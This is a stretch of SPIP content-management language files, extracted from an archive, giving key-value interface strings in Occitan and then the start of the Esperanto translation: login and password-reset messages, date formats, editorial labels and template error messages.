'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixèls',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Los lògos de formats @formats@ son sols autorizats.',
'info_logo_max_poids' => 'Los lògos an de far mens de @maxi@ (aqueste fichèir fai @actuel@).',
'info_mail_fournisseur' => 'vos@fornidor.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions daus paramètres de seguretat',
'info_mois_courant' => 'Dins lo corrent dau mes:',
'info_mot_cle_ajoute' => 'S’es apondut lo mot clau seguent a ',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Las <u>lengas solinhadas</u> benefícian d’una revirada de totes los tèxts de l’interfàcia. Se seleccionatz aquelas lengas, gròs d’elements dau sit public (datas, formularis) se revirarán automaticament. Per las lengas non solinhadas, aqueles elements apareisserán dins la lenga principala dau sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Vòstre nom apareis pas dins la tèira daus utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Vòstre nom apareis dins la tèira daus utilizaires connectats.',
'info_nombre_en_ligne' => 'Ara en linha:',
'info_non_resultat' => 'Ges de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Utilizatz pas la messatjariá intèrna d’aquel sit.',
'info_nouveau_message' => 'AVÈTZ UN MESSATGE NUÒU',
'info_nouveaux_messages' => 'AVÈTZ @total_messages@ MESSATGES NUÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran petit',
'info_pixels' => 'pixèls',
'info_plusieurs_mots_trouves' => 'Mai d’un mot clau trobat per "@cherche_mot@" :',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ primèirs resultats de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primèirs resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepausa: @titre@',
'info_propose_2' => 'Article prepausat
---------------',
'info_propose_3' => 'L’article "@titre@" z-es prepausat a la publicacion.',
'info_propose_4' => 'Vos convidam a lo venir consultar e a bailar vòstre vejaire',
'info_propose_5' => 'dins lo forum que li es estachat. Z-es disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" z-es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
--------------',
'info_rechercher' => 'Cerchar',
'info_rechercher_02' => 'Cerchar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalizat:',
'info_sans_titre_2' => 'sens títol',
'info_selectionner_fichier' => 'Podètz seleccionar un fichèir dau dorsèir @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichèir:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbèu <b>blau</b> marca un <b>memento</b>: quò vòu dire un messatge per vòstre usatge personau.',
'info_symbole_jaune' => 'Lo simbèu <b>jaune</b> marca un <b>anonci per totes los redactors </b>: los administrators lo pòdon modificar, chasque redactor lo pòt veire.',
'info_symbole_vert' => 'Lo simbèu <b>verd</b> marca los <b>messatges eschamjats amb d’autres utilizaires</b> dau sit.',
'info_telecharger_nouveau_logo' => 'Telecharjar un lògo nuòu:',
'info_telecharger_ordinateur' => 'Telecharjar a partir de vòstre ordenador:',
'info_tous_resultats_enregistres' => '[totes los resultats son registrats]',
'info_tout_afficher' => 'Afichar tot',
'info_travaux_texte' => 'Aquel sit es pas encara configurat. Tornatz mai tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats per "@cherche_mot@"; volhatz afinar la recèrcha.',
'info_utilisation_messagerie_interne' => 'Utilizatz la messatjariá intèrna d’aquel sit.',
'info_valider_lien' => 'validar aquel liam',
'info_verifier_image' => ', volhatz verificar que los imatges se sián be transferits.',
'info_vignette_defaut' => 'Vinheta predefinida',
'info_vignette_personnalisee' => 'Vinheta personalizada',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Vòstres rendètz-vos venents',
'infos_vos_pense_bete' => 'Vòstres mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar mas las icònas',
'lien_afficher_texte_icones' => 'Afichar las icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Afichar mas lo tèxt',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar aqueles articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NUÒU',
'lien_nouveau_message' => 'MESSATGE NUÒU',
'lien_nouvelle_annonce' => 'ANONCI NOVÈL',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DAU SIT',
'lien_reessayer' => 'tornar assajar',
'lien_repondre_message' => 'Respondre a aquel messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Afichar tot',
'lien_visite_site' => 'vesitar aquel sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Veire aquel autor',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'se connectar amb un autre identificant',
'login_cookie_accepte' => 'Volhatz configurar vòstre navigador per que los accèpte (per lo mens amb aquel sit).',
'login_cookie_oblige' => 'Per vos identificar d’una manèira segura sus aqueste sit, vos chau acceptar los cookies.',
'login_deconnexion_ok' => 'Sètz desconnectat/ada.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» z-es inconegut.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificant de connexion au sit):', # MODIF
'login_login_pass_incorrect' => '(Login o mot de santa Clara incorrècte.)',
'login_motpasseoublie' => 'mot de santa Clara oblidat?',
'login_non_securise' => 'Atencion, aquel formulari z-es pas securizat.
Se volètz pas que vòstre mot de santa Clara siá
interceptat sobre lo ret, volhatz activar Javascript
dins vòstre navigador e',
'login_nouvelle_tentative' => 'novèl assai',
'login_par_ici' => 'Sètz registrat/ada... per aquí...',
'login_pass2' => 'Mot de santa Clara:',
'login_preferez_refuser' => '<b>Se vos agrada mai de refusar los cookies</b>, un autre metòde de connexion (mens securizat) z-es a vòstra disposicion:',
'login_recharger' => 'tornar charjar aquela pagina',
'login_rester_identifie' => 'Demorar identificat quauques jorns',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion sens cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'Assai navigador/tornar connectar',
'login_verifiez_navigateur' => '(pasmens verificatz que vòstre navigador aja pas servat vòstre mot de santa Clara en memòria...)',
// M
'module_fichiers_langues' => 'Fichèirs de lenga',
// N
'navigateur_pas_redirige' => 'Se vòstre navigador z-es pas redirigit, clicatz aicí per contunhar.',
// O
'onglet_affacer_base' => 'Esfaçar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut dau sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadas',
'onglet_informations_personnelles' => 'Informacions personalas',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjariá',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Voidar l’escondedor',
// P
'pass_choix_pass' => 'Volhatz chausir vòstre mot de santa Clara novèl:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error :</b> podètz pas mai accedir a aquel sit.',
'pass_erreur_code_inconnu' => '<b>Error:</b> aquel còde correspond pas a ges de vesitaire que puèscha accedir a aquel sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> z-es pas registrada sus aquel sit.',
'pass_erreur_non_valide' => '<b>Error:</b> aquel e-mail <tt>@email_oubli@</tt> z-es pas valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> pr’amor d’un problèma tecnic, l’e-mail se pòt pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aqueste sit es badat vèrs los
vesitaires que se son inscrits. Un còp registrat/ada,
poiretz consultar los articles en cors de redaccion,
prepausar d’articles novèls e participar a totes los forums.',
'pass_forum_bla' => 'Avètz demandat d’intervenir dins un forum
reservat aus vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sos l’adreiça e-mail ont
vos registrèretz lo còp passat.
Recebretz un e-mail que vos bailará la manèira de
tornar trobar vòstre accès.',
'pass_mail_passcookie' => '(quo es un messatge automatic)
Per tornar trobar vòstre accès au sit
@nom_site_spip@ (@adresse_site@)
Volhatz anar a l’adreiça seguenta:
@sendcookie@
Aladonc poiretz entrar un mot de santa Clara novèl
e vos tornar connectar au sit.
',
'pass_mot_oublie' => 'Mot de santa Clara eissubliat',
'pass_nouveau_enregistre' => 'Vòstre mot de santa Clara novèl z-es estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara novèl',
'pass_ok' => 'Consent',
'pass_oubli_mot' => 'Mot de santa Clara eissubliat',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Remembrança: vòstre identificant (login) z-es «@login@».',
'pass_recevoir_mail' => 'Recebretz un e-mail que vos explicará cossí tornar trobar vòstre accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Ren a faire aicí.',
'pass_vousinscrire' => 'S’inscriure sus aqueste sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// S
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vos seretz familharizat/ada amb l’interfàcia, poiretz clicar sobre «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" per badar mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion es activada sus aquel sit. S’installatz a partir d’aquel formulari d’imatges au(s) format(s) @gd_formats@, s’acompanharán d’una vinheta d’una talha maximala de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Los documents seguents s’assòcian a l’article,
mas s’inserisson pas
dirèctament. Segon la compaginacion dau sit public,
poirán aparéisser sos forma de documents junts.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donadas pendent la mesa a nivèl. L’imatge <b>@fichier@</b> z-es pas passat (article @id_article@).
Notatz plan aquela referéncia, tornatz assajar la mesa a
nivèl, e verificatz puèi que los imatges apareissan
encara dins los articles.',
'texte_inc_auth_1' => 'Sètz identificat/ada coma
<b>@auth_login@</b>, mas aquel login existís pas o pas mai dins la basa.
Assajatz de vos', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après qu’auretz quitat eventualament, puèi
tornat lançar vòstre navigador.',
'texte_inc_config' => 'Las modificacions faitas dins aquestas paginas influéncian ferme lo
foncionament de vòstre sit. Vos aconselham de pas lai intervenir tant que siatz pas
acostumat/ada au foncionament dau sistèma SPIP. <br /><br /><b>
En generau, se conselha fòrt
de laissar la charja d’aquestas paginas au webmèstre principau de vòstre sit.</b>',
'texte_inc_meta_1' => 'Lo sistèma a rescontrat una error dins l’escritura dau fichèir <code>@fichier@</code>.Volgatz, coma administrator/tritz dau sit,',
'texte_inc_meta_2' => 'verificar los dreits d’escritura',
'texte_inc_meta_3' => 'dins lo repertòri <code>@repertoire@<code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'au bordilhèir',
'texte_statut_propose_evaluation' => 'prepausat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'APONDRE UN MOT CLAU:',
'titre_cadre_raccourcis' => '’CORCHAS:',
'titre_changer_couleur_interface' => 'Chamjar la color de l’interfàcia',
'titre_image_admin_article' => 'Podètz administrar aqueste article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'D’ajuda sobre aquel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sens accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAUS',
'titre_probleme_technique' => 'Atencion: un problèma tecnic (servidor SQL) empacha d’accedir vèrs aquela part dau sit. Mercé de vòstra indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS AQUELA RUBRICA',
'titre_statistiques' => 'Estadisticas dau sit',
'titre_titre_document' => 'Títol dau document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B en aval',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida', # MODIF
'zbug_champ_hors_boucle' => 'Champ @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Champ @champ@ en defòra d’una bloca de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrador manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta', # MODIF
'zbug_erreur_execution_page' => 'error d’execucion de la pagina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica sonque a las blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error sobre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL «@table@» desconeguda'
);
?>
spip_eo.php 0000666 00000110210 15252547432 0006723 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-eo',
'0_langue' => 'Esperanto [eo]',
'0_liste' => 'spip-eo@rezo.net',
'0_mainteneur' => 'MHSautet@aol.com',
// A
'access_interface_graphique' => 'Reen al kompleta grafika interfaco',
'access_mode_texte' => 'Afiŝi la simpligitan tekstan interfacon',
'admin_debug' => 'erarserĉilo',
'admin_modifier_article' => 'Modifu tiun ĉi artikolon',
'admin_modifier_auteur' => 'Modifu tiun ĉi aŭtoron',
'admin_modifier_breve' => 'Modifu tiun ĉi fulm-informon',
'admin_modifier_mot' => 'Modifu tiun ĉi ŝlosilvorton',
'admin_modifier_rubrique' => 'Modifu tiun ĉi rubrikon',
'admin_recalculer' => 'Rekalkulu tiun ĉi paĝon',
'afficher_calendrier' => 'Montri la kalendaro',
'afficher_trad' => 'afiŝi la tradukojn',
'alerte_maj_impossible' => '<b>Alarmo !</b> La ĝisdatigo de la SQL-datenbazo al versio @version@ ne eblas pro datenbazo-modif-rajtaj kialoj. Bonvolu kontakti vian retgastiganton.',
'alerte_modif_info_concourante' => 'ATENTU : Tiu ĉi informo estis modifita de alia homo. La nuna stato estas :',
'analyse_xml' => 'XML analizo',
'annuler' => 'Nuligi',
'antispam_champ_vide' => 'Bonvolu forlasi tiun tajpujon malplena :',
'articles_recents' => 'La plej freŝaj artikoloj',
'avis_archive_incorrect' => 'Tiu arkivo ne estas SPIP-dosiero',
'avis_archive_invalide' => 'Tiu arkiva dosiero ne validas',
'avis_attention' => 'ATENTU !',
'avis_champ_incorrect_type_objet' => 'Erara tajpuja nomo @name@ por la objekto de tipo @type@',
'avis_colonne_inexistante' => 'La kolumno @col@ ne ekzistas',
'avis_erreur' => 'Eraro : vidu ĉi-sube',
'avis_erreur_connexion' => 'Konekt-eraro',
'avis_erreur_cookie' => 'kuketo-problemo',
'avis_erreur_fonction_contexte' => 'Program-eraro. Tiu funkcio ne alvokeblas en tiu ĉi kunteksto.',
'avis_erreur_mysql' => 'SQL-eraro',
'avis_erreur_sauvegarde' => 'Konservo-eraro (@type@ @id_objet@) ! ',
'avis_erreur_visiteur' => 'Alir-problemo al la privata spaco',
// B
'barre_a_accent_grave' => 'Entajpi malakut-akcentan ĉefliteran A',
'barre_aide' => 'Uzu la tipografiajn rapidligilojn por pliriĉigi vian enpaĝigon',
'barre_e_accent_aigu' => 'Entajpi malakut-akcentan ĉefliteran E',
'barre_eo' => 'Entajpi E en ĉefliteran O',
'barre_eo_maj' => 'Entajpi E en la ĉeflitero O',
'barre_euro' => 'Entajpi la simbolon €',
'barre_gras' => '{{Grasigi}}',
'barre_guillemets' => 'Flanki per « citiloj »',
'barre_guillemets_simples' => 'Flanki per simplaj citiloj',
'barre_intertitre' => '{{{Intertitoligi}}}',
'barre_italic' => '{Kursivigi}',
'barre_lien' => 'Transformi al [hiperligo->http://...]',
'barre_lien_input' => 'Bonvolu indiki la retadreson de via ligilo (vi povas indiki ret-adreson tian, kia http://www.monsite.com aŭ simple indiki la numeron de artikolo de tiu retejo.',
'barre_note' => 'Transformi al [[sub-paĝan noton]]',
'barre_paragraphe' => 'Krei paragrafon',
'barre_quote' => '<quote>Citi mesaĝon</quote>',
'bouton_changer' => 'Ŝanĝi',
'bouton_chercher' => 'Serĉi',
'bouton_choisir' => 'Elekti',
'bouton_deplacer' => 'Movi',
'bouton_download' => 'Elŝuti',
'bouton_enregistrer' => 'Registri',
'bouton_radio_desactiver_messagerie_interne' => 'Malŝalti la internan mesaĝilon',
'bouton_radio_envoi_annonces' => 'Sendi la ĉefartikolajn anoncojn',
'bouton_radio_non_envoi_annonces' => 'Ne sendi anoncojn',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ne sendi liston de novaĵoj',
'bouton_recharger_page' => 'freŝigi tiun paĝon',
'bouton_telecharger' => 'Alŝuti',
'bouton_upload' => 'Alŝuti',
'bouton_valider' => 'Validigi',
// C
'cal_apresmidi' => 'posttagmezo',
'cal_jour_entier' => 'tuta tago',
'cal_matin' => 'mateno',
'cal_par_jour' => 'tag-kalendaro',
'cal_par_mois' => 'monat-kalendaro',
'cal_par_semaine' => 'semajn-kalendaro',
'choix_couleur_interface' => 'koloro',
'choix_interface' => 'elekto de interfaco',
'colonne' => 'Kolumno',
'confirm_changer_statut' => 'Atentu, vi petis por ŝanĝi la statuton de tiu elemento. Ĉu vi deziras daŭrigi ?',
'correcte' => 'korekta',
// D
'date_aujourdhui' => 'hodiaŭ',
'date_avant_jc' => 'a.K.',
'date_dans' => 'post @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'morgaŭ',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ la @jour@a',
'date_fmt_jour_heure' => '@jour@ je la @heure@',
'date_fmt_jour_heure_debut_fin' => 'la @jour@ de @heure_debut@ ĝis @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'la @dtstart@@jour@a de @heure_debut@@dtabbr@ ĝis @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@a @nommois@',
'date_fmt_jour_mois_annee' => '@jour@a @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'la @nomjour@ @date@',
'date_fmt_periode' => 'De @date_debut@ ĝis @date_fin@',
'date_fmt_periode_abbr' => 'De @dtart@@date_debut@@dtabbr@ ĝis @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'De',
'date_fmt_periode_to' => 'ĝis',
'date_heures' => 'horoj',
'date_hier' => 'hieraŭ',
'date_il_y_a' => 'antaŭ @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimanĉo',
'date_jour_1_abbr' => 'dim.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'lundo',
'date_jour_2_abbr' => 'lun.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'mardo',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'merkredo',
'date_jour_4_abbr' => 'mer.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'ĵaŭdo',
'date_jour_5_abbr' => 'jaŭ.',
'date_jour_5_initiale' => 'j.',
'date_jour_6' => 'vendredo',
'date_jour_6_abbr' => 'ven.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'sabato',
'date_jour_7_abbr' => 'sab.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'tagoj',
'date_minutes' => 'minutoj',
'date_mois' => 'monatoj',
'date_mois_1' => 'januaro',
'date_mois_10' => 'oktobro',
'date_mois_10_abbr' => 'oct.',
'date_mois_11' => 'novembro',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'decembro',
'date_mois_12_abbr' => 'dec.',
'date_mois_1_abbr' => 'jan.',
'date_mois_2' => 'februaro',
'date_mois_2_abbr' => 'feb.',
'date_mois_3' => 'marto',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'aprilo',
'date_mois_4_abbr' => 'apr.',
'date_mois_5' => 'majo',
'date_mois_5_abbr' => 'majo',
'date_mois_6' => 'junio',
'date_mois_6_abbr' => 'jun.',
'date_mois_7' => 'julio',
'date_mois_7_abbr' => 'jul.',
'date_mois_8' => 'aŭgusto',
'date_mois_8_abbr' => 'aŭg.',
'date_mois_9' => 'septembro',
'date_mois_9_abbr' => 'sep.',
'date_saison_1' => 'vintro',
'date_saison_2' => 'printempo',
'date_saison_3' => 'somero',
'date_saison_4' => 'aŭtuno',
'date_secondes' => 'sekundoj',
'date_semaines' => 'semajnoj',
'date_un_mois' => 'monato',
'date_une_heure' => 'horo',
'date_une_minute' => 'minuto',
'date_une_seconde' => 'sekundo',
'date_une_semaine' => 'semajno',
'dirs_commencer' => ' por vere komenci la instalprocezon',
'dirs_preliminaire' => 'Antaŭfaro : <b>Difinu la alir-rajtojn</b>',
'dirs_probleme_droits' => 'Alir-rajta problemo',
'dirs_repertoires_absents' => '<b>La jenaj dosierujoj ne estas trovitaj : <ul>@bad_dirs@.</ul> </b>
<p>La problemo verŝajne rilatas al majuskligo de literoj.
Kontrolu ke la majuskloj ja kongruas kun tio kio estas afiŝita ĉi-supre ;
se ili ne kongruas, bonvolu renomi la dosierujon per via FTP-programo por korekti la eraron.
</p><p>Post tio, vi povos</p>',
'dirs_repertoires_suivants' => '<b>La jenaj dosierujoj ne estas skribe modifeblaj :
<ul>@bad_dirs@.</ul></b>
<p>Por solvi tion, uzu vian FTP-klienton por reguligi la alir-rajtojn de ĉiu
el tiuj dosierujoj. La proceduron oni detale klarigas en la instalgvidlibro.
</p><p>Post tio, vi povos </p>',
'double_occurrence' => 'Duobla trafo de @balise@',
// E
'en_cours' => 'okazanta',
'envoi_via_le_site' => 'Sendo tra la retejo',
'erreur' => 'Eraro',
'erreur_balise_non_fermee' => 'lasta ne fermita marko :',
'erreur_technique_enregistrement_champs' => 'Teknika eraro neebligis la ĝustan registradon de la kampo @champs@.',
'erreur_technique_enregistrement_impossible' => 'Teknika eraro neebligis la registradon.',
'erreur_texte' => 'eraro(j)',
'etape' => 'Etapo',
// F
'fichier_introuvable' => 'Netrovebla dosiero @fichier@ ',
'form_auteur_confirmation' => 'Konfirmu vian retpoŝtadreso',
'form_auteur_email_modifie' => 'Via retpoŝtadreso estis modifita.',
'form_auteur_envoi_mail_confirmation' => 'Konfirmretmesaĝo estis sendita al @email@. Vi devu viziti la menciita retadreso en la retmesaĝo por validigi vian retpoŝtadreson.',
'form_auteur_mail_confirmation' => 'Saluton,
Vi petis ŝanĝi vian retpoŝtadreson.
Por konfirmi vian novan retadreson, simple ensaluti al
la retadreso ĉi-sube (alie, via peto estos ignoritaj) :
@url@',
'form_deja_inscrit' => 'Vi estas jam registrita.',
'form_email_non_valide' => 'Via retpoŝtadreso ne validas.',
'form_forum_access_refuse' => 'Vi ne plu havas alir-rajton al tiu retejo.',
'form_forum_bonjour' => 'Saluton @nom@,',
'form_forum_confirmer_email' => 'Por konfirmi vian retpoŝtadreson, iru al tiu retadreso : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Tiu ĉi retpoŝtadreso estas jam registrita, vi povas do uzi vian kutiman pasvorton.',
'form_forum_identifiant_mail' => 'Via nova ensalutilo estis ĵus al vi sendita per retletero.',
'form_forum_identifiants' => 'Personaj ensalutiloj',
'form_forum_indiquer_nom_email' => 'Indiku ĉi tie vian nomon kaj retpoŝtadreson. Via persona ensalutilo rapide alvenos al vi retletere.',
'form_forum_login' => 'salutnomo :',
'form_forum_message_auto' => '(tio estas aŭtomata mesaĝo)',
'form_forum_pass' => 'pasvorto :',
'form_forum_probleme_mail' => 'Retpoŝta problemo : la ensalutilo ne sendeblas.',
'form_forum_voici1' => 'Jen viaj ensalutiloj por partopreni la vivon de la retejo "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Jen estas viaj ensalutiloj por proponi artikolojn ĉe la retejo "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Bonvolu indiki vian retpoŝtadreson.',
'form_indiquer_nom' => 'Bonvolu indiki vian nomon.',
'form_indiquer_nom_site' => 'Bonvolu indiki la nomon de via retejo.',
'form_pet_deja_enregistre' => 'Tiu retejo estas jam registrita',
'form_pet_signature_pasprise' => 'Via subskribo ne estas registrita.',
'form_prop_confirmer_envoi' => 'Konfirmi la sendon',
'form_prop_description' => 'Priskribo/komento',
'form_prop_enregistre' => 'Via kontribuo estas registrita, ĝi aperos ĉerete post validigo de la respondeculoj de la retejo.',
'form_prop_envoyer' => 'Sendi mesaĝon',
'form_prop_indiquer_email' => 'Bonvolu indiki validan retpoŝtadreson',
'form_prop_indiquer_nom_site' => 'Bonvolu indiki la nomon de la retejo.',
'form_prop_indiquer_sujet' => 'Bonvolu indiki temon',
'form_prop_message_envoye' => 'Mesaĝo sendita',
'form_prop_non_enregistre' => 'Via propono ne estis registrita.',
'form_prop_sujet' => 'Temo',
'form_prop_url_site' => 'URL-adreso de la retejo',
'forum_non_inscrit' => 'Vi ne estas registrita, aŭ la adreso aŭ la pasvorto ne ĝustas.',
'forum_par_auteur' => 'de @auteur@',
'forum_titre_erreur' => 'Eraro...',
// I
'ical_texte_rss_articles' => 'La abondosiero (backend-dosiero) de la artikoloj de tiu retejo troveblas ĉe la retadreso :',
'ical_texte_rss_articles2' => 'Sube, vi povas trovi abonligojn por gvati evoluadon de artikoloj el ĉiu rubriko de la retejo :',
'ical_texte_rss_breves' => 'Krome ekzistas dosiero enhavanta ĉiujn fulm-informojn de la retejo. Precizigante la rubriko-numeron, vi ricevos nur la fulm-informojn el tiu rubriko.',
'icone_a_suivre' => 'Stabejo',
'icone_admin_site' => 'Reteja administrado',
'icone_agenda' => 'Agendo',
'icone_aide_ligne' => 'Helpilo',
'icone_articles' => 'Artikoloj',
'icone_auteurs' => 'Aŭtoroj',
'icone_brouteur' => 'Rapida retumado',
'icone_configuration_site' => 'Konfiguro',
'icone_configurer_site' => 'Konfiguri vian retejon',
'icone_creer_nouvel_auteur' => 'Krei novan aŭtoron',
'icone_creer_rubrique' => 'Krei novan rubrikon',
'icone_creer_sous_rubrique' => 'Krei sub-rubrikon',
'icone_deconnecter' => 'Elsaluti',
'icone_discussions' => 'Diskutoj',
'icone_doc_rubrique' => 'Dokumentoj de la rubrikoj',
